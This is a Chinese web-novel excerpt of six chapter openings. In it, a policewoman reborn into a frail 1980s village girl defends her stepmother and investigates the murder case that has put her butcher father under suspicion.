《娇软美人发疯后[八零]》 1. 第 1 章 《娇软美人发疯后[八零]》全本免费阅读 岑安锦是被一阵吵闹声惊醒的。 明明刚睡醒,但她还想再睡一百年。身上也软绵绵的,没有一丝力气 原来,死亡并不如想象中轻松。 是的,她死了,在抓逃犯的时候被闯红灯的车撞死了。 不过没死透,又穿到了另一个刚死的人身上。 这人也叫岑安锦,是一本年代文里的对照组炮灰。 书中设定,原身和女主是表姐妹。 原身家里只有她一个孩子,又身娇体弱,从小被娇宠到大。 女主家里五个孩子,父母又离婚,身为老三的女主,是家里最不受宠的一个。 两人小时候的生活形成鲜明对比,长大后却反过来了。 女主坚强独立,凭借善良和勇敢,吸引到一个好对象,从此过上幸福的生活。 而被养废了的原身也想靠美貌嫁个好男人,可惜连结三次婚都没好结果,在遭遇家暴、难产、老公出轨等一系列不幸后,惨死收场。 不仅如此,原身的亲生儿女在长大后,也只认表姨妈女主,绝口不提她这个早死亲妈。 岑安锦:“……” 好想刀了作者。 可惜她现在别说提刀,连提裤子都费劲。 然而外面还吵翻了天,让她想睡觉都不行。 岑安锦听了一会儿,大概弄明白了外面的情况: 隔壁牛婆婆家丢了个鸡蛋,说是原身后妈冯香梅偷的,因为她家门口有鸡蛋壳; 二伯家的梨被偷了两个,也说是冯香梅偷的,因为她从他家梨树边过了路; 还有王家的玉米;何家的橘子…… 反正丢了东西,全都来找冯香梅。 这并不是因为冯香梅有什么前科,或者她家特别穷。相反她家在村子里算富裕的,冯香梅更是出了名的规矩人。 之所以会有今天这个局面,是因为原身亲爹岑大山卷入一起杀人案中,已经被警方带走七天还没放出来。 “七天还没放出来,那肯定就是凶手了!” “你男人都被抓了,你哪里来的钱买鸡蛋吃?” “我们梨花沟的人都清清白白,只有你家出了个杀人犯……不是你偷的,还能是谁?” “以前仗着你男人是杀猪匠,吃得起二两肉就耀武扬威,却不知道他造了多少杀孽,现世报来了吧?” “就算不是你,也是你家小锦偷的,那丫头向来嘴馋。” …… 围攻的人音量一波高过一波,在如此咄咄逼人的声势下,冯香梅的辩白,简直像小猫的呜咽。 “我没偷,我怎么会偷。” “大山不是杀人犯。” “别这样说孩子。” “你们小点声,小锦还病着……” 完全没人管冯香梅说了什么:“别废话!赶紧赔钱,不然我报警了……” “哐当!” 一声巨响突然炸开,闹哄哄的人群霎时安静下来,众人纷纷扭头看向声音的来源。 原来是岑安锦拎着根棍子,在门口的破锅上敲了一记。 她脸色苍白,一副大病初愈的模样,软绵绵地倚在门框上,长发凌乱地散在肩头,宽松的外套也只是简单披着,更衬得身形单薄、弱不禁风。 但那双水灵灵的眼底,此刻却闪烁着涔涔寒光,整个人从内到外透着股狠劲儿。 “小锦?”冯香梅眼泪还在眼眶里打转,又忙不迭朝她摆手,“你生着病呢,不能吹风,快回去。” 岑安锦没说话,见大家注意力都集中到了自己身上,才将背在身后的另一只手拿出来。 “啊!”人群一片哗然,慌忙退闪开——岑安锦另一只手里拿的竟然是一把杀猪刀! 她用力一甩,那刀便死死钉入旁边木凳子上。 刀柄还在微微颤动,刀刃在阳光下反射出雪亮的光。 连冯香梅都吓傻了,一时找不到话说。 “小锦……”有人强作镇定地开口,“你这是干什么?” 毕竟是从小看着长大的孩子,村子里的人都知道,岑安锦不仅长得柔弱,性子也软,是个好欺负的。 这时候应该只是虚张声势。 “这把杀猪刀,你们不认识吗?我爸每次帮你们杀猪,都会用到它。”岑安锦看了那人一眼,手指轻抚过刀背,“刚才有人说我爸是因为造了不少杀孽,才遭到报应。是啊,他替你们杀猪造杀孽、遭报应,你们现在来欺负他的家人,不知道会不会也遭报应?” 村子里人人都吃过猪肉,家家都杀过猪,平时从不会觉得有什么。 此情此景,听着岑安锦饱含情绪的嗓音,再看她一副随时会发疯的模样,酷热的大夏天里,不少人心里还是不由发冷。 不过也有胆子大脸皮厚的:“你爸杀猪那是拿了好处的,关我们什么事?你后妈偷东西,就该赔偿!” “对!”人群马上附和。 “很好。”岑安锦冷笑一声,“今天我们就在杀猪刀的见证下,来说说偷东西的事。要是东西真是我妈偷的,我十倍赔给你们。要不是我妈偷的,你们十倍赔偿加道歉,怎么样?” 人群有了小小的骚动,随后便有人道:“行啊!没问题!” “好。”岑安锦点点头,“等下要是谁不守规矩,我爸这把刀,可不认人。” 她眼神在人群里扫过一圈,看向闹得最凶的一个:“牛婆婆。” 牛婆婆只是辈分高,但年纪其实比冯香梅大不了几岁,长得高高大大,嗓门也粗:“我家鸡蛋是真丢了一个!” “我相信。”岑安锦说,“我还知道是谁偷的。” 牛婆婆一愣:“谁偷的?” 她身边一个瘦小的男人,也是她丈夫朱爷爷紧跟着道:“你可不能乱说,随便冤枉人。” 岑安锦看他一眼,对牛婆婆道:“牛婆婆,你说你家已经很久没吃过鸡蛋了,对吧?” “对,夏天鸡本来就不怎么生蛋,我是攒起来送礼的。”牛婆婆说起来就生气,“好不容易加上今天的一个就够了,烂心肝的给我偷了……你快说,是谁?” 岑安锦说:“很简单,那人只偷了一个鸡蛋,没有攒起来的必要,肯定已经吃了。我家鸡蛋是自己买的,我妈心里坦荡,敢将蛋壳扔在门口。那人做贼心虚,却不会扔出来,最方便的办法,当然是扔进灶膛里销毁证据。不过,煮一个鸡蛋用不了多少柴火,牛婆婆你去这人家灶膛里看看,一定能找到还没烧干净的鸡蛋壳。” 她在众人疑惑的眼神中,看向牛婆婆身边的男人:“朱爷爷,你说是吧?” 人群再次一片哗然。 朱爷爷像被踩到尾巴的猫,“蹭”一下跳了起来:“岑安锦,你不要血口喷人!” “自己偷自己家东西?”人群里也有人嘲笑。 “背着媳妇偷嘴就不叫偷了?”岑安锦淡淡道,“是真是假,大家进去看一看灶膛不就知道?既然朱爷爷说自己没偷吃,想必没有拦着的理由吧?” 这话一出,马上有人冲进牛婆婆家。 2. 第 2 章 《娇软美人发疯后[八零]》全本免费阅读 岑大山就是原身亲爹。 他是个杀猪匠,也是个厨师,前几天去隔壁村帮人办酒席,回来的路上闹肚子,便跟路边一户人家借用厕所。 没想到第二天一大早,警察就找上门来。 那户人家惨遭灭门,而凶器正是岑大山的杀猪刀,时间也差不多能对上。 岑大山自然被警察带走了,村子里流言四起。 原身从小体弱多病,受到惊吓后竟直接病死,这才有了岑安锦穿过来的事。 据书中所写,岑大山并非凶手。 但这个年代的刑侦技术落后,法条不完善,连“疑罪从无”也还未被提出来。所有证据都对岑大山不利,他最后被判定为凶手。 也不知道该说他幸运还是不幸,在执行死刑前,有人找到关键证据,案子得以改判。但是,彼时的岑大山,和从前的岑大山,已经判若两人。 岑安锦虽非自愿,但终归是成了岑大山女儿,而且她穿越前就是警察,遇到这种事,当然要尽力查清真相,救出岑大山。 只是没想到会突然蹦出个系统来。 她原本还对这个系统有些不满,这下倒是义无反顾了。 * 其他看热闹的人渐渐散了,只剩下冯香梅和岑安锦。 “小锦,你……”冯香梅对上岑安锦的目光又飞快垂下视线,搓了搓手指,捋捋头发,再抓紧自己的胳膊,小声问,“你怎么知道是你朱爷爷偷的鸡蛋?” 她今天一直又懵又怕,到现在还是怕。 怕朱牛两口子打出问题来怪到她们头上,怕他们之后报复,怕岑大山回来怪她没照看好岑安锦、没维护好邻里关系……也怕凶狠的岑安锦。 “没看到。”岑安锦看了眼犯错小学生一样的后妈,“我猜的。” “那么多人,你怎么猜到的?”冯香梅一愣。 岑安锦拿起桌上的搪瓷杯,给自己倒了杯水润润嗓子,才慢慢给她分析:“牛婆婆是今天事情的起因,她态度那么笃定,大概率是有人跟她说了什么。牛婆婆最信谁的话?还有,朱爷爷不是出了名的爱偷嘴吗?综合来看,是他的概率最大,再结合他现场的反应,就更确定了。” 冯香梅觉得她说得很有道理,但还是觉得不够保险:“那万一,我是说万一,万一是你猜错了呢?” 岑安锦这次没回答她的问题,而是反问:“牛婆婆一家,平时和我们关系怎么样?” “挺好的。”冯香梅说着,情绪低落下来,“我也没想到,你爸刚被……刚不在家,他们态度就变了。” “所以,你要明白:他们之前看着和善,不是因为喜欢你,更不是因为喜欢我,甚至也不是因为喜欢我爸。”岑安锦打破她的幻想,“他们只是怕我爸,同时想从我们家捞点好处。” 岑大山力气大,长相凶,家里还总放着刀具,轻易没人敢惹。 加上他无论是替人杀猪还是办酒席,多多少少能捞点好处。 所以,“杀猪匠”这个名头似乎不太好听,但在梨花沟,他们家算是过得比较好的。 也因为这样,原身才能从小被娇养到大。 “可是……”冯香梅知道岑安锦说得不错,但她不是很想接受。 “现在我爸进去了,因为他而带来的好处跟威胁,全都荡然无存。”岑安锦打断她,“有些以前讨好我们家的人,觉得那是耻辱,想要报复回来;有些人看我们娘俩一个比一个弱小,好欺负,想占点便宜;还有些人是单纯的墙头草……” “可是,你爸还没有判刑。”冯香梅脸色开始变得苍白,急切地说,“他很快就会出来,他是被冤枉的!” “就因为结果还没出来,大家现在持观望态度,才会找些似是而非的理由来试探。”岑安锦不管她多激动,始终很冷静,“不然你以为,今天为什么会一下子就来那么多人?真是为了一个鸡蛋两颗梨吗?” 冯香梅脸上已经毫无血色,她好像听不到岑安锦的话,只一个劲重复:“不会的,你爸说了他没有杀人,他是被冤枉的,我相信他。” 岑安锦低头喝水,不说话了。 冯香梅还完全没意识到事情有多严重。 “小锦。”冯香梅态度坚定起来,也不知道是想说服岑安锦还是说服自己,“他是你爸爸,他是什么样的人我们最清楚,他绝不会杀人,你要相信他。” “你把这话给警察说,警察就会放了他吗?”岑安锦淡淡地问。 冯香梅瞬间噎住,脸上的自信一秒被击碎。 “我们信不信,其实不重要。”岑安锦放下搪瓷杯,“警察办案讲证据,现在的证据就是对我爸很不利。这案子性质太恶劣,影响巨大,除非找到真凶,否则我爸就回不来……你觉得,时间一久,大家会怎么想?” 冯香梅软弱但不是傻子,从今天的事情,已经能想到之后的情况。她终于不再固执己见,但整个人越发焦躁,不停地走来走去:“那,我们该怎么办?” “我们现在只能做两件事。”岑安锦伸出两根手指。 “你说。”冯香梅在她对面坐下来,伸长脖子,一副洗耳恭听的模样。 岑安锦微微走了下神。 冯香梅长得瘦小,一张娃娃脸,皮肤又白,三十几岁的人看起来比原身大不了几岁。 书中对冯香梅描写很少,但字里行间不难让人联想到“恶毒后妈”。 现在看她这模样,倒更像是个傻白甜。 唔……可能没那么甜。 “第一件,我们自己得立起来。”岑安锦很快收拢心神,说,“不是我们做的事,绝对不能认;被欺负了,必须反击。不然只会让别人觉得我们软弱好欺,以至于越来越过分。这不仅仅是因为我们要好好生活,不让爸爸担心。也是因为其他人无从了解案情,只能从我们的态度上窥探一二。我们忍让,他们会认为是心虚,也就越发会认定是爸爸干了坏事,明白吗?” “我明白了。”冯香梅点头如捣蒜,“第二件呢?” “第二件就是关于案子了。虽说有警方在调查,但我们也要尽可能帮忙,争取早日破案。” “我们能帮什么忙?”冯香梅忍不住急急地问,说再多,她还是希望丈夫尽快回来。 岑安锦:“因为杀猪刀是利器,爸爸一直保存得很好,使用前后都会清点。那天他是从酒席上回来,走之前肯定会清点。” “对对对。”冯香梅急忙点头,“你爸说了,那天 3. 第 3 章 《娇软美人发疯后[八零]》全本免费阅读 “那就这样说定了?”岑芝兰将岑安锦的沉默理解为默认,“明天我们早点出发。” 岑安锦回过神来:“这事算了吧,我爸现在这个情况,我没心情。” 岑芝兰嗑瓜子的手一顿,不敢置信地看着岑安锦:“算了?你确定?陆宝锋条件那么好……” “我确定。”岑安锦打断她道。 岑芝兰表情微微扭曲,很快又调整过来,语重心长地说:“我也担心舅舅,可就因为这样,我反而觉得你应该抓紧时间和陆宝锋在一起。因为我们不认识什么人,帮不上舅舅。但陆宝锋不一样,他家在镇上在县上都有认识的人,多半能帮上忙。” “表姐的意思,杀人这种大案,也能靠关系摆平?”岑安锦平静地问。 “我的意思是,怕舅舅在牢里被人欺负,有人关照会好很多。我相信舅舅没杀人,你也应该相信他。”岑芝兰有点不高兴了,“小锦,我把话说难听点,你要清楚自己的情况。不趁着现在舅舅的案子还在调查中,迅速跟陆宝锋定下来。万一结果不好,想嫁给陆宝锋的人那么多,你哪里还有机会?” “陆宝锋条件这么好,我高攀不起,不如表姐你自己嫁。”岑安锦淡淡道。 岑芝兰她妈第一任丈夫很渣,是岑大山力排众议,支持她离婚,又买地建房将她接回村子里住,连孩子们的姓都改了。 结果岑大山一出事,岑芝兰竟只想着说亲这事? 本来对这事岑安锦还没多想,现在却忍不住怀疑,岑芝兰是不是从中拿了好处。 “岑安锦!你什么意思?!”岑芝兰“蹭”一下站了起来,愤怒不已,“我好心帮你,为你跑路打听消息,从没有怨言。那是因为我拿你当亲妹妹看待,真心希望你好,结果你竟然阴阳怪气……行!我嫁!我嫁了你可别后悔!” “不后悔。”岑安锦做了个送客的手势,“表姐加油。” 岑芝兰一时不知道还能说什么,只能怒气冲冲地走了。 不过她并不着急,岑大山出事,岑安锦就更不好说亲了。 现在不过是怕别人说闲话,做做样子。 拖上几天,她自然会主动求上门来。 冯香梅没想到事情突然变成这样,有些慌乱地想要去拦岑芝兰,被岑安锦一把拉住。 “小锦。”冯香梅只得回头,先做岑安锦的思想工作,“我知道你孝顺,可芝兰说的也有道理。你爸现在还不知道是什么情况,万一……肯定会影响你的婚姻,那陆宝锋条件不错……” “他打女人。”岑安锦说。 冯香梅一愣,随后急忙摆手:“那不行,打女人的男人不能嫁,条件再好也不行!” 岑安锦有点意外。 书中岑大山出事后不久,冯香梅就跟他离婚另嫁了。 后来岑芝兰在街上见过她被丈夫家暴,周围人议论纷纷,说她为了摆脱岑大山,明知道对方打女人也要嫁,活该被打。 岑安锦故意道:“可是,不都说夫妻间难免打架吗?就像朱爷爷和牛婆婆……” “有几个女人有你牛婆婆的力气?即便这样,她也不是次次都能打赢。”冯香梅更着急,声音也大起来,“男人天生比女人力气大,打架女人就是吃亏,更何况你这身体这么弱……” 【触发情报:冯香梅有个喜欢家暴的父亲。】 “小锦,条件差一点,只要两个人勤快,也不是不能活。但男人要是打女人,是真有可能打死人的。你一定不能犯傻,知道吗?”冯香梅看岑安锦一直不说话,伸手抓住了她的手臂。 岑安锦回过神来,声音软了几分:“放心吧,我不会嫁,刚才不是已经拒绝表姐了吗?” 冯香梅这才想起这茬,意识到自己又犯傻了,松口气的同时,也有些讪讪。 再看自己还握着岑安锦的手臂,急忙往回缩:“那就好……” “谢谢妈。”岑安锦也在同时伸出手,本是想去拍她的手背,这下刚好握了上去。 两人都顿了顿,冯香梅眨眨眼,眼眶迅速泛红,鼻子发酸,眼泪怎么都止不住。 这几天先是岑大山出事,紧接着岑安锦病倒,村子里的人也并不是今天才开始找茬,背后的议论更是不少……她很想有个人能帮忙,可她连商量倾诉的人都没有,晚上睡觉都不敢睡死。 原本因为要照顾岑安锦,她还能硬撑,表现得坚强。 今天岑安锦忽然变得懂事,极有主见。冯香梅仿佛一下子找到主心骨,委屈和惭愧等更多情绪也涌上心头。 在这种情况下,岑安锦忽然喊她一声“妈”,冯香梅便绷不住了。 “哎,你别哭啊。”岑安锦最怕别人哭,扫了一圈没发现纸巾,又在兜里掏了掏,掏出一张手帕,倒是干净,忙递过去,“没事的,你别怕……” 书中提过,原身一直不愿意叫冯香梅“妈”。 对很多人来说,“爸”、“妈”是非常神圣的称呼,不是亲生的叫不出口。 但对岑安锦来说,这两个称呼真没那么重要。 在原来的世界,她还不到一岁,父母就离异了,两人都不肯要她这个拖油瓶。 到了上学用钱的年纪,双方更是互相踢皮球。 岑安锦小时候大约也是别扭过的,每要一次钱都要来回跑上好几遍。 后来她就学聪明了,对着后爸后妈喊得比亲爹亲妈还要亲热,甜言蜜语张口就来,再要钱果然容易很多。只要给她钱,让她对着随便一个路人,她都可以喊爹喊妈。 所以,她能毫无负担地喊冯香梅“妈”,并不带多少感情。 但对冯香梅来说,这可能是最高级别的认可,她一把抱住岑安锦,哭得更大声:“小锦,你也别怕,妈一定会保护你……” 岑安锦不习惯跟人这么亲近,一瞬间身体绷得笔直。 她忍了一分钟,还是伸手推开冯香梅,轻咳一声:“妈,我饿了。” “我这就去做饭。”冯香梅一边擦眼泪一边笑,“看你这几天没胃口,我今天特意去捡了点你最爱吃的菌子。” 岑安锦:“……” 她小时候吃野山菌中毒过,从此再也不吃。 冯香梅做饭很快,没多久,一盘炒野山菌就端上了桌,还搭配一小碗泡菜。 “小锦,快来,今天的菌子很嫩。”冯香梅端过来两碗饭,将其中大半都是南瓜的放在自己面前,另一碗纯大米饭递给岑安锦。 注意到岑安锦的视线,她又道:“你还生着病,得多吃点,才能快速恢复。你读过书,人聪明,妈不识字,懂的道理也没你多,救你爸还得 4. 第 4 章 《娇软美人发疯后[八零]》全本免费阅读 翌日,岑安锦和冯香梅起了个大早,吃过饭就往清河村走。 梨花沟距离清河村有十几里山路,岑安锦现在身娇体弱,刚爬上一个小山坡就开始气喘。 “歇会儿再走。”冯香梅停下来,将背着的水壶拿给岑安锦,“喝口水,出汗没有?” “没。”岑安锦摇摇头,有点不开心。 她原来也是警校高材生,不说战无不胜吧,那身体素质确实杠杠的。 有一次渣爹来学校找她麻烦,碍于规定,她不好亲自揍他,便引着人在操场跑圈。最后渣爹累到口吐白沫,岑安锦还脸不红气不喘。 哪像现在,三步一喘,五步一咳,实在碍事。 等这事结束,不,今天晚上回去就要开始锻炼。 “上坡是累,下坡会好些。”冯香梅敏锐察觉到岑安锦情绪不好,赶紧安慰道,“你爸前几天还说要买辆自行车,要是早点买就好了……” 话说到一半,就自动停下来。 “走吧,我歇好了。”岑安锦知道她是想起岑大山,心里难受,起身往坡下走去。 两人边走边停,走了快一个小时,才走到受害者家附近。 “就是那家人被杀了。”冯香梅远远便停下脚步,害怕、同情和难过交织在一起,她拉住岑安锦,低声道,“你身子本来就弱,别走太近,免得撞到什么东西……” 岑安锦也停下来,左右看看:“这家人跟村子里其他人关系不好吗?” 受害者家的房子单独建在路口的一处斜坡上,距别的人家目测直线距离最近也有好几百米。 “可能是吧。”冯香梅也不确定,毕竟她只是偶尔回娘家会路过,跟这个村子里的人不熟,“我倒是听说过一点关于这家人的事,但不知道真假。” “没关系,都可以说。”书中这就是个悬案,到最后也没说真凶是谁,岑安锦缺少信息。 冯香梅表情略有些为难,又拉着岑安锦后退几步,方才耳语般对她道:“他们说这家男人是当兵的,打仗的时候受过伤,那方面……受了影响。我之前过路,见过几次那男的,一条腿确实是瘸的。然后,就有他老婆偷人的传言……可能是闲言碎语太多,他们才搬出来修的房子。” 说完便双手合十朝四周拜了拜,低声念叨:“打扰勿怪,我们没有恶意,只是想帮你们找到凶手……” 说到这里,冯香梅忽然顿了顿。 这不是警察该干的事吗? 如果警察都抓不到凶手,她们又怎么可能抓到? 凶手杀了一家四口,连三岁小孩都没放过。而这家还有个当过兵的男人,凶手杀他们连邻居都没惊动,可见十分凶残。 她们两个弱女子连自保能力都没有,她怎么就鬼迷心窍带着小锦跑来调查了呢? 可是昨天小锦给她的感觉,真的很可靠,她简直像被下了迷药一样。 现在清醒过来一想,还是觉得不妥。 万一小锦出点什么意外,别说岑大山,她自己都过不去。 她是长辈,得保护小锦。 “小锦,我们还是回……”冯香梅一抬头发现岑安锦不在原地,再一张望,吓得声音都变了调,“小锦!你别上去!” 岑安锦竟然已经朝受害者家走了上去。 “妈,你就在下面等我。”岑安锦知道她相信鬼神,回头冲她摆摆手,“我很快下去。” 冯香梅脸都白了,嘴里念叨着“不行,不行”,还是哆嗦着跟了上去。 “你们是什么人?来这里干什么?”就在这时,身后忽然传来一声喝问。 岑安锦一抬头,就看到七八个人从受害者家房子后面转出来,个个神色不善。 “我们只是路过。”岑大山现在是最大的嫌疑人,岑安锦当然不会主动暴露自己身份,“看这里被围起来……是怎么回事啊?” “死人了。” “快走吧,这里不是你们看热闹的地方……” 有人嘴快,但话还没说完,走在前面头发花白的老人一抬手,所有人就都噤声了。 老人穿一身粗布衣服,眉心纹路深刻,双目沉沉地盯着岑安锦:“看你们两个也不像能走远路的样子,应该是附近几个村子的吧?这么大的事,会没听说?” 他这样一说,其他人看向岑安锦两人的眼神也瞬间变得警惕。 冯香梅本就在担心,见状更是莫名心虚,从表情到动作都不自然起来。 岑安锦也有点意外,不过她看起来很淡定:“大家别急,我们其实……” “那女的是岑大山媳妇!”但就在这时候,有人认出了冯香梅。 “岑大山不就是杀害友文全家的凶手?” “对!他婆娘这时候来肯定没安好心!” “太过分了!” “我打死你们!” 一群人都气愤不已,其中一个年轻男人尤其激动,眼眶都红了,看到院子里有把铁锹,一把抓在手里就朝岑安锦母女俩冲过来。 冯香梅本就害怕,这下更是心惊胆战,拉起岑安锦就跑。 岑安锦没有准备,被她拉得一个趔趄,脚下踩中一个圆滚滚的东西,彻底控制不住身体,眼看就要朝山坡下栽倒。 就在这时候,一只手伸过来,揪住了她的衣服后领。 岑安锦稳住身形,艰难地从衣领里探出脖子,回头看了眼。 她猜自己现在的样子一定很滑稽,因为她看到了一双带笑的眼睛。不过那笑意一闪即逝,视线瞬间变得极具压迫性。 眼睛的主人个子挺高,穿一身黑,乍一看挺瘦。 但岑安锦对这种身形很熟悉,看得出来,他不是瘦,只是精干。这人脱了衣服,一定有一块块线条分明的腹肌——这是长期训练的结果。 这大概率是个军人。 “没事吧?”一个穿警服的年轻人紧跟着跑上来,问道。 男人摇摇头,松开手。 岑安锦道了声谢,见冯香梅没事,才抬头往上看。 “沈警官,你怎么来了?”那群人瞬间收敛,在老人的带领下迎下坡来。 “你们怎么回事?”沈警官正是那位穿警服的年轻人,他眉头一皱,“这么多人欺负两个弱女子?” “他们是岑大山的家人,肯定也不是好人!”那个拿铁锹的男人已经放下了铁锹,但神色依旧愤怒。 “胡说!”沈警官更生气了,“别说现在岑大山只是嫌疑人,还不能确定为凶手。即便他是凶手,他的家人只要没有参与作案,那就是无辜的。都什么年代了,还讲连坐那一套呢?” 铁锹男还有些不忿,但那位老人抢先开口了:“沈警官说得对,刚才是我们冲动了。不过,你们今天来是案子有进展了吗?凶手什么时候才能确定?” “这位是市里来的庄队长,现在案子由他负责,他想来看看现场。庄队很厉害,肯定能查明真相。”沈警官面对老人,神色顿时温和许多,又对那位庄队道,“这位便是受害者何友文的父亲,那是他弟弟何友武,他俩是双胞胎。” 他说的死者弟弟,便是那个铁锹男。 “庄队,我哥哥一家死得太惨了。”何友武哽咽着道,“你们可一定要为他们主持公道,让凶手杀人偿命啊!” “放心,我们肯定依法办事。”庄队顿了顿,忽然问道,“你们这么多人聚集在受害者家,是在干什么?” “昨天是老 5. 第 5 章 《娇软美人发疯后[八零]》全本免费阅读 岑安锦最终还是没能跟着何家人走。 当着沈警官的面,她几乎要哭出来了,看得沈警官很是不忍,几乎要动摇。 可那位庄队实在不懂怜香惜玉,像背后长了眼睛一般,在沈警官张嘴前一秒,转身将他拽走,还别有深意地看了岑安锦一眼。 等他们转身,岑安锦脸上的沮丧一秒消失,唇角微微上扬。 冯香梅愣是没看懂她心情到底是好还是不好。 “妈,我们去跟那些村民聊聊。”岑安锦小声道,“不用怕,聊什么都可以。” 她一直不认为冯建辉是凶手,所以走这趟的主要目的,不是去找冯建辉。而是走一遍岑大山那天晚上走过的路,观察路上的环境,看看他可能会遭遇什么。 至于凶案现场,别说她是疑犯家属,就是普通人,她也没资格去查看。 受害者家属,自然更不可能跟她好好交流。 所以岑安锦原本的打算,也只是找机会和附近的村民聊聊,收集信息。 现在的收获,已经比她预想中大多了。 那些村民本就是来看热闹的,虽说何家人和警察都走,但他们看不了那边的热闹。这边嫌犯家属的表现,也是热闹的一部分,因此大部分人都还没离开。 只不过,可能是对凶案现场忌讳,也可能是对嫌犯家属有惧怕,他们站得比较远,偶尔议论两句声音也很小。 岑安锦慢慢从坡上走下来,已经挑中想要的聊天对象——一个站在前面第二排边上,边看热闹还边用粉色的线纳鞋垫的大姐。 走到大姐身边的时候,岑安锦也不知道怎么回事,脚下一滑,眼看要摔倒。 大姐下意识扶了她一把。 忙乱中人倒是扶起来了,手上的针却在岑安锦手指上戳了下。 岑安锦“嘶”了一声,捏着手指一挤,一颗豆大的血珠就冒了出来。 原身从小不干活,也不爱出门玩,又是天生冷白皮,那手指就像刚剥开的葱白芯,又白又嫩,衬得那血珠越发醒目。 “哎呀,对不住。”大姐一下不好意思起来。 “没事,不怪你。你帮了我,我要跟你说谢谢。”岑安锦拿出手帕将血珠抹去,低着头道,“怪我最近太倒霉。” 说着,眼眶就红了,一颗豆大的泪珠挂在长睫毛上欲落未落。 长得好看的人,本就更容易让人产生好感,大姐见状,一颗心又软了两分。 岑安锦却深吸一口气,将眼泪憋回去,嘴角弯起浅浅的弧度,看向她手里的鞋垫:“姐你的手真巧,这鞋垫绣得好好看。” “这还好看啊?”大姐笑道,“我妈总说我这像狗爬的。” “我在街上买的那些,都比不上你绣的。说明姐你是个优秀的人,阿姨才对你期望高。”岑安锦扭头去找冯香梅,看她已经跟人聊上了,“我妈……” 后面就迟迟没再说下去。 “那是你后妈?”大姐试探着问。 凶杀案已经发生七天,无论是关于受害者、还是嫌犯的消息,村子里早已经传了无数个版本。 “是。”岑安锦点点头,又急忙道,“不过我后妈很好。” “那为啥没怎么见你去赶过集啊?”大姐自以为看穿了真相。 毕竟这里是梨花沟赶集的必经之路,村民们见岑大山最多,冯香梅也见过,岑安锦却脸生得很。 岑安锦说:“我不爱出门。” 原身这体质,三步一喘,走十几里山路能累个半死,是真不爱出门。 但是对平常没什么娱乐活动的村民来说,赶集能看热闹、听新闻、长见识,没人不愿意去。 大姐不能理解,只认为岑安锦是不敢说实话。想到自己的女儿,看岑安锦的眼神越发怜悯。 “这次要不是为了我爸,我也不会出门。”岑安锦紧接着又道,“别人可能不信,但我知道,我爸肯定没杀人。” “可是,你又能做什么呢?”大姐叹了口气。 “我也不知道,尽人事听天命吧。”岑安锦看着她,“不过,有一点我一直很奇怪,就算何家住得远一些,但是他家四口人,凶案发生的时候也还不到睡觉的时间,凶手不可能一刀砍死四个吧?他们不呼救吗?村子里其他人就没听到动静?连狗都没叫几声?” “刚好是做晚饭的时候,大家都在忙,没听到也正常。”大姐脱口道,“再说了,他家有动静是常事……” 说到这里,大姐像是意识到自己说了不该说的话,倏地闭嘴。 “难道何友文家……打老婆?”岑安锦瞬间想到一个可能。 也许何友文家搬到远离乡邻的地方住,不是因为和村民们有矛盾,而是方便家暴? “没有,怎么会呢?绝对没有!”大姐立马否认,随即似乎是意识到自己否认太快,神色有些慌张,“我的意思是,他家孩子调皮,实在闹腾,所以时常有动静……说起孩子,我也得回家看孩子了,再见啊。” 说完转身就走,线团掉了都没发现。 岑安锦还想去追,脑子里忽然【叮】一声。 系统面板再次出现。 【触发情报:李秀花是何友武前女友。】 这破系统,永远追着八卦跑……等等。 李秀花应该就是刚才那位大姐。 她如果是何友武前女友的话,应该对何家的情况很了解。 刚才在听到她提出来何友文可能家暴的时候,李秀花瞬间的反应不像造假。她说何友文不会家暴,应该是真的。 但她的慌张也不像造假。 那她在慌什么呢? 岑安锦想了想,没有去追李秀花,而是将她掉落的线团,捡起来交给旁边一位老人:“婆婆,你认识李秀花吗?” “认识,交给我们吧。”一个中年男人却抢先将线团接过去,拉住老人就走,“妈,回去做饭了。” 几人一走,其他看热闹的村民,也纷纷离开。 “怎么回事?”冯香梅看向岑安锦,不解地道,“聊得好好的,怎么全走了?” 岑安锦:“说明我们问到重点了。” “啊?”冯香梅有点懵,“重点是什么?你刚才在问什么?” “我问何友文是不是打女人。”岑安锦说,“你呢,问了些什么?” “还在跟他们聊些家常,都没问到重点……”冯香梅有点不好意思,“不过,我问他们何友文一家人缘怎么样,他们都说挺好的,两口子都是温和的人,孩子也懂事。看他们的样子,也不像撒谎。” 岑安锦点点头:“有些男人就是窝里横,在外面屁都不敢放,受了气就回家打女人孩子。” “是啊。”冯香梅深有感触地点点头,又有点着急,“那我们怎么办啊?看那些人的样子,像是统一了口气,不会跟我们说真话。” “没事,我们先回去。”岑安锦说,“我有办法。” * < 6. 第 6 章 《娇软美人发疯后[八零]》全本免费阅读 庄问笙还是决定请岑安锦吃饭。 并非辩不过她的歪理邪说,只是看到她泛红的眼眶,怜惜她一片孝心。 别的不说,从梨花沟到县城,路程接近三十公里。这样娇娇弱弱一个小姑娘,是怎么来的?还来得这么早,实在不容易。 招待所不远有家米粉店,问过岑安锦后,庄问笙带她走进去,点了两碗米粉再加一笼包子。 本以为这么瘦瘦弱弱的姑娘,可能胃口不太好。 庄问笙却看到岑安锦一口米粉一口包子,吃得停不下来。 原本还防着她打探案情,倒显得像是自己想多了。 庄问笙不知道,岑安锦其实吃得并不香。 岑大山当厨师,家里就没少过零食,原身从小吃到大,胃口早就被破坏,对正常的饭菜反而不喜欢。 现在她吃米粉和包子,身体就很抗拒。 但为了健康着想,她必须吃。 不过这身体胃是真小,吃两口就觉得撑,她只能停一停。 对面的庄问笙吃相优雅,一看就是大户人家长大的孩子,但他吃的速度很快,符合军作风。 “怎么不吃?”庄问笙抬眸看她,“不合胃口?” “不是。”岑安锦摇摇头,故意道,“你吃这么快干嘛?怕别人看到和我这个嫌疑人家属吃饭,对庄队名声不好?” 庄问笙本来没这个意思,闻言干脆顺势道:“我们本来也不该接触太多,不合规。” 岑安锦一笑,说:“那我们就不聊案子,聊点别的。” “聊什么?”庄问笙昨天就已经发现了,这小姑娘不简单,不免有些防备。 “聊聊庄队你吧。”岑安锦说。 庄问笙微微扬眉:“聊我什么?” “庄队你不是军人出身吗?”岑安锦说,“聊点军队生活?” “你怎么知道我军人出身?”庄问笙不动声色地问。 岑安锦感受到了他身上突然释放出来的压迫力,但她并没有被吓到,依然笑眯眯的说:“宁康县巴掌大的地方,人们又没什么消遣,突然调来个大人物当小小的刑警队长,一天时间足够传遍整个县城,要打听不难。” 根据资料,她一直生活在梨花沟,来县城的次数屈指可数,更没去过县城之外的地方。 按理说,这样的姑娘,不会觉得一个县“只有巴掌大”。 